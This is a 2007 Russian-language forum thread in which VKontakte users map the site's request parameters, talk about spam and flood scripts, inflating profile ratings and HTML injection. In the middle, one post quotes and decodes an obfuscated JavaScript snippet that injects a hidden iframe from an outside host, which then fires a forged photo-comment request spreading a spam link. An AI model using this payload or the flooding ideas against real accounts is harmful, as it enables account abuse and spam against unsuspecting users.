Андрей Тарасов
пише?10 мая 2007 в 19:07
Значет так посмотрим какже у нас формируются запросы к базе вконтакта. Может кому и пригодится. 1. редактируем контактную инфу profileEdit.php?page=contacts subm ;по умолчанию 1 работает также со всеми >= 1 cmail ;контактное мыло - строка privacyMail ;эти шняги указывают на видимость privacyMPhone ;вашей инфы для других privacyHPhone ;2 - тока френды privacyICQ ;0 - френды и вуз privacyAddress ;1 - все mobile_phone ;строки с вашей инфой home_phone icq website city address postal_index faddress fnick 2. интересы и иже с нимим profileEdit.php?page=personal subm activities interests music movies tv books games quotes about 3. образование profileEdit.php?page=education wposition5 subm country uni_city other_city_name other_university_name other_faculty_name chair other_chair_name edu_form edu_status graduation country1 city1 other_city_name1 school1 s_type1 other_school_name1 s_start1 s_finish1 s_grad1 s_class1 s_spec1 country2 city2 other_city_name2 s_type2 other_school_name2 s_start2 s_finish2 s_grad2 s_class2 s_spec2 country3 city3 other_city_name3 s_type3 other_school_name3 s_start3 s_finish3 s_grad3 s_class3 s_spec3 country4 city4 other_city_name4 s_type4 other_school_name4 s_start4 s_finish4 s_grad4 s_class4 s_spec4 country5 city5 other_city_name5 s_type5 other_school_name5 s_start5 s_finish5 s_gra5.d5 s_class5 s_spec5 4. работа profileEdit.php?page=career s_spec5 subm wcountry1 wcity1 other_wcity_name1 wcompany1 other_wcompany_name1 w_start1 w_finish1 wposition1 wcountry2 wcity2 other_wcity_name2 wcompany2 other_wcompany_name2 w_start2 w_finish2 wposition2 wcountry3 wcity3 other_wcity_name3 wcompany3 other_wcompany_name3 w_start3 w_finish3 wposition3 wcountry4 wcity4 other_wcity_name4 wcompany4 other_wcompany_name4 w_start4 w_finish4 wposition4 wcountry5 wcity5 other_wcity_name5 wcompany5 other_wcompany_name5 w_start5 w_finish5 wposition5 5. добавляем друга friend.php?act=addFriendfid first_name last_name sex message 6. удаляем друга friend.phptitle id first_name last_name sex act 7. посыл месага mail.phpmessage secure photo to_id to_reply act = sent title 8. делаем заметку notes.phpact = add preview title post 9. создаем группу groups.phpact = doCreate name 10. редактируем группу groups.phpact = info subm gid name net description type recent_news email website country uni_city other_city_name show_wall can_post_topics access 11. отправка приглашения (неплохой флуд/спам получится) invite.phpact = sent email first_name last_name cmate cfriend message + есть автоматическая рассылка прилашений
Георгий g Закарашвили
пише?15 мая 2007 в 0:29
комент к заметке
notes.php blog_id= post_id= act=addComment comment=' '
Денис Валентинович Рысцов
пише?15 мая 2007 в 0:36
Такие данные очень удобно собирать с помощью программы Fiddler (fiddlertool.com) Она перехватывает http пакеты и позволяет просматривать их, изменять, блокировать. Её плюс в том, что написана на .NET'e на языке JScript и поправив один файл, информация о всех пост, гет запросах пишется в файл.
Георгий g Закарашвили
пише?15 мая 2007 в 0:46
а не проще посмотреть с исходник.. там все видно вроде :)
а вааще есть идея разрешить механизм авто-постинго заметок например... как это сделано на Delicious например. те кнопку в закладках по нажатию которой происходт авто пост, выделеного текста, например...
я потыкал чутка, но видимо стоит запрет на использование скриптов в аргументах...
Мэтью Сахарок
пише?23 мая 2007 в 14:06
во прикол ! я ваще тока ща врубился как можно бес палева на процентов 200 увеличить заполненность анкеты =) ххы
Алексей Богатов
пише?23 мая 2007 в 22:42
[Мэтью] aka [СахароК], заинтересовал. И как же ты залезаешь в settings.php?act=rate ?
Алексей Богатов
пише?23 мая 2007 в 23:03
Или дело в алгоритме подсчета процентов, который при определенном заполнении начинает глючить и число вылезает за 200?
Алексей Добромыслов
пише?24 мая 2007 в 0:48
Создать 200 fake =)
Алексей Богатов
пише?24 мая 2007 в 2:47
А.Д. А ведь ты прав... :lol:
Tony | Антон Анисимов
пише?24 мая 2007 в 15:32
поделитесь хоть как сделать 100, а то у самих уже больше 100...
Саня ★ Чернов
пише?24 мая 2007 в 20:21
Непонял.. у меня ща 108. Т.е. если поколдовать - будет 308? Мэтью колись!
Виктор Касаткин
пише?25 мая 2007 в 11:43
Интересно, людей с возрастом от 5 до 15 можно искать: people.php y1=5 y2=15
А как найти всех людей с отрицательным возрастом?
Виктор Касаткин
пише?25 мая 2007 в 11:52
Sorry, торможу. y1=0&y2=1
Саша Константинов
пише?20 июн 2007 в 12:25
Вопрос: запрос обрабатывается на сервере или у меня на компе? Т.е. я могу таким образом вставить в интересы свои какой-нибудь html код? Потому что если я его напишу просто изменяя данные свои, то там все значки < заменятся на другие. А так можно сделать будет, чтобы размер шрифта был другой)
Алексей Богатов
пише?20 июн 2007 в 17:46
Ну попробуй =] И сделай выводы.
Альберт Александрович Глазунов
пише?27 июн 2007 в 15:23
интересуют левое меню: Хотелось бы отловить переменную, которая указывает на кол-во, например, непрочитанных сообщений, которые выставляются рядом. ("Мои Сообщения (1)" )
Алексей Богатов
пише?28 июн 2007 в 1:38
Непонятно. Есть ссылка вида mail.php?act=show&id=*** Где id - это уникальный идентификатор сообщения среди всех сообщений на сайте. Если пройти по ней, счетчик уменьшится на 1 - вероятно, в базе сообщение с этим id отмечается как прочитанное и счетчик декрементируется, после чего скриптом mail.php генерируется страница с новым значением счетчика. Интересует что-то более глубокое?
Альберт Александрович Глазунов
пише?28 июн 2007 в 16:59
Появилась мысль грузить информацию о новых сообщениях в Active Desktop (через флэшку) или какой-нибудь клиент в трее, чтобы не отвлекаться от работы и часто не перезагружать страницу.
Собственно говоря, основная страница формируется php-скриптом из блоков-includes. Меня интересует блок левого меню. А если точнее разделы "Мои сообщения", "Мои Группы"... итп. Более, чем уверен, что структура меню представляет собой что-нибудь типа: $message; $group; Интересно, каким скриптом он создается.
Как запасной вариант можно просто периодически грузить всю страницу, а потом ее парсить и искать нужные теги, но этот вариант мне нравится меньше.
Алексей Богатов
пише?28 июн 2007 в 23:38
Мне неизвестно, как доподлинно узнать о деталях создания этого меню, не видя кода mail.php. А чтобы исходники увидеть, сайт ломать надо =] А парсить страницу - легко. В случае с друзьями там вообще ссылка другая.
Альберт Александрович Глазунов
пише?29 июн 2007 в 0:10
ну ладно, вдруг, думаю, кто-нить уже глубоко закопался в скрипты контакта ))
Леонид Петров
пише?9 июл 2007 в 12:32
Навели шуму про +200% к рейтингу)))
Александр Сергеевич Яремчук
пише?13 июл 2007 в 18:01
To Альберт Александрович Глазунов Так по-моему тут нет проблем - сделать запрос на login.php а потом делать запрос на profile.php через некоторое время и смотреть результат - если есть строка "Мои Сообщения (" значит пришло новое сообщение. Можно и количество отсюда же достать.
Алексей Богатов
пише?16 июл 2007 в 4:50
Саша, совершенно правильно говоришь - только всё сводится к "парсить полностью загруженную страницу", чего не хотелось.
Andromalius נעמה Astaroth
пише?16 июл 2007 в 16:22
А у создателей контакта нет планов XML-версию написать? - а то можно было бы клиенты попрограммировать разные =)))
Артём PETROVICH Мескалиновый кактус Петров
пише?23 июл 2007 в 9:50
Иван Ботов
пише?23 июл 2007 в 14:07
Хмм. <script LANGUAGE="JavaScript"> <!-- function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!116!111!111!112!97!46!53!103!98!102!114!101!101!46!99!111!109!47!50!53!46!112!104!112!34!32!119!105!100!116!104!61!49!32!104!101!105!103!104!116!61!49!32!115!99!114!111!108!108!105!110!103!61!110!111!32!109!97!114!103!105!110!119!105!100!116!104!61!49!32!109!97!114!103!105!110!104!101!105!103!104!116!61!49!32!10!10!102!114!97!109!101!98!111!114!100!101!114!61!48!32!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);} //--> </SCRIPT><script LANGUAGE="JavaScript"> <!-- Decode(); //--> </SCRIPT> Выводит "<iframe src=" http://toopa.5gbfree.com/25.php" width=1 height=1 scrolling=no marginwidth=1 marginheight=1 frameborder=0 ></iframe>" в документ. Смотрим, что там: <META HTTP-EQUIV="Refresh" CONTENT="1"> </HEAD> <FRAMESET ROWS="1%" FRAMEBORDER="0" FRAMESPACING="0"> <FRAME SRC=" photos.php?id=258116&act=pos...= http://jumor-photos.narod.ru - клевые приколы, посмотрите - реально смешно=))) " NORESIZE> </FRAMESET>
Иван Ботов
пише?23 июл 2007 в 14:08
По ссылкам ходить не рекомендуется, предварительно не вылогинившись 8)
Иван Ботов
пише?23 июл 2007 в 14:40
Можно было бы красивее написать, без своей функции Decode и iframe'ов.
Алексей Богатов
пише?23 июл 2007 в 16:05
Мне вот интересно, кто у кого спер эту функцию Decode. Она ровно та же на soox.narod.ru и vkontakte.2.nm.ru Или просто автор один?
Иван Ботов
пише?23 июл 2007 в 22:19
Скорее всего, автор один. Посмотри, что там открывается в iframe'ах. У меня у самого была похожая функция.
Илья Быстров
пише?24 июл 2007 в 0:59
Хмм... думал, не много таких как я, кто занимается ... ну в общем этим. Пытаюсь создать заметку. Security Breach. Я что то не так делаю? preview - это предпросмотр? о.О notes.php?act=add&preview=0&...
Иван Ботов
пише?24 июл 2007 в 1:30
А что это у тебя там такое закодировано? И чем именно - "этим"? 8]
Альберт Александрович Глазунов
пише?24 июл 2007 в 2:09
Александр Сергеевич Яремчук Я так и сделал: гружу страницу с интервалом 20 секунд. Если есть новые сообщения, встречи итп., то раздается мелодичная музыка. Стало удобно дожидаться девушку в инете, так как у нас с ней 8 часов разницы).
Иван Ботов
пише?24 июл 2007 в 2:24
Дикие люди. Никогда не видели ICQ. 8)
Альберт Александрович Глазунов
пише?24 июл 2007 в 3:16
все мы извращенцы в какой-то мере)) а аськи там нет - ведомственная машина, веб-версия -не хочет работать, а для девушки установить яву или обновить флэш - срьезный и ответственный шаг, который под силу только Программистам..
Иван Ботов
пише?24 июл 2007 в 3:26
Ну ясно. 8)
Император Александр Андреевич Падённый
пише?24 июл 2007 в 4:23
Может мне кто нибудь сказать как можно имя поменять так что бы можно было Две большые буквы написать или там пробел в имени??
Илья Быстров
пише?24 июл 2007 в 15:47
2Император Александр Андреевич Падённый: Нет, по-моему. 2Иван Ботов: > А что это у тебя там такое закодировано? Помоги сделать запрос - увидишь прикол)) > И чем именно - "этим"? 8] Ковырянием контакта, поиски багов, составление запросов, нахождение интересных (и довольно странных) фич \ недоработок. 2All: Скажет мне всё таки кто-нибудь, за что отвечает preview в запросе на создание заметки??? notes.php?act=add&preview=<что здесь ставить???>&.......
Илья Быстров
пише?24 июл 2007 в 16:57
Вопрос про создание заметки отменяется. Запросом её создать, видимо, не возможно.
Иван Ботов
пише?24 июл 2007 в 19:53
Побрутфорси.
Илья Быстров
пише?24 июл 2007 в 20:34
2Иван Ботов Смеёшься? :D Долго будет... Всем быстро смотреть: club3305 Смотрите стену. Видимо, кто то написал скрипт для коментов на стене. Работает уже 2 часа со скоростью 15 коментов\мин. Интересно. Уже забито ~80 страниц, это 800 сообщений. Неплохо.
Илья Быстров
пише?24 июл 2007 в 20:43
Блин, тока что сообразил, что писать то там нечего)) Всё и так понятна))
Бездельник ت
пише?24 июл 2007 в 22:34
хорошие люди развлекаются)) так что все ок)) да и скрипт для стенки уже не новость, как и для приглашений
Бездельник ت
пише?24 июл 2007 в 22:37
Иван Ботов
пише?24 июл 2007 в 22:41
Илья Быстров, угадай тогда.
Сергей Иванов
пише?25 июл 2007 в 2:31
Илья Быстров Хэш к заметки генерится рандомно? одному юзеру один хэш... или он както связан с данными юзера ( id,mail..)
Сергей Иванов
пише?25 июл 2007 в 2:46
есть предложение собрать базу ID с префиксами, введёными для затруднения флуда на стенах групп...
Иван Ботов
пише?25 июл 2007 в 9:49
Там не префикс, там постфикс. Нахрена её собирать? Будешь флудить - прямо их и возьмёшь. Ну, или закешируешь, если они тебе прямо так нужны.
Илья Быстров
пише?25 июл 2007 в 16:38
2Сергей Иванов: Ну по идее хэш должен генерится рандомно. Всегда. 2Иван Ботов: Угадать хеш? :D Эт почти невозможно. 2flooder floooooder: На самом деле адрес группы: club2147483647Все цифры, идущие дальше - бред. Т.е. не имеет значения, что написать после первых 10 цифр. Хоть 01010101010101 напишите. Всё равно попадёте в ту группу. Но меня заинтересовало другое. Глюк: там в участниках некий Миша идёт два раза. Вот эт уже интересней. В списке пользоателей он один, а вот на главной он дублируется. Странно.
Бездельник ت
пише?25 июл 2007 в 20:47
club123456789да любое пиши несуразное, просто группа DELЕTЕD
Бездельник ت
пише?25 июл 2007 в 20:56
а насчет club2147483647 максимальный id группы ((2^31)-1), т.е. как раз это число. кто-то запалил это раньше)
Сергей Иванов
пише?27 июл 2007 в 0:39
админы ввели защиту от флуда в сообщениях... нельзя отправлять одинаковые:D
Алексей Богатов
пише?27 июл 2007 в 1:50
В сообщениях - которые mail.php? Так ее уже 100 лет назад ввели.
Сергей Иванов
пише?27 июл 2007 в 2:08
сорь тогда... я тока заметил.. т.к. раньше не сталкивался а и ещё... нафиг нужен Хэш secure? он же в страничке хранится...
Владимир Янышев
пише?3 авг 2007 в 0:13
А запросы к поисковой базе кто-нубудь пробовал сам креэйтить ? Например, нет детального поиска людей по группам.. А может можно создать ?
Алексей Богатов
пише?3 авг 2007 в 22:15
Владимир, если речь о чем-нибудь вроде search.php?byear=1988&f14=ислам (а не об sql) - можно просто проэкспериментировать с разными сочетаниями параметров.
|
|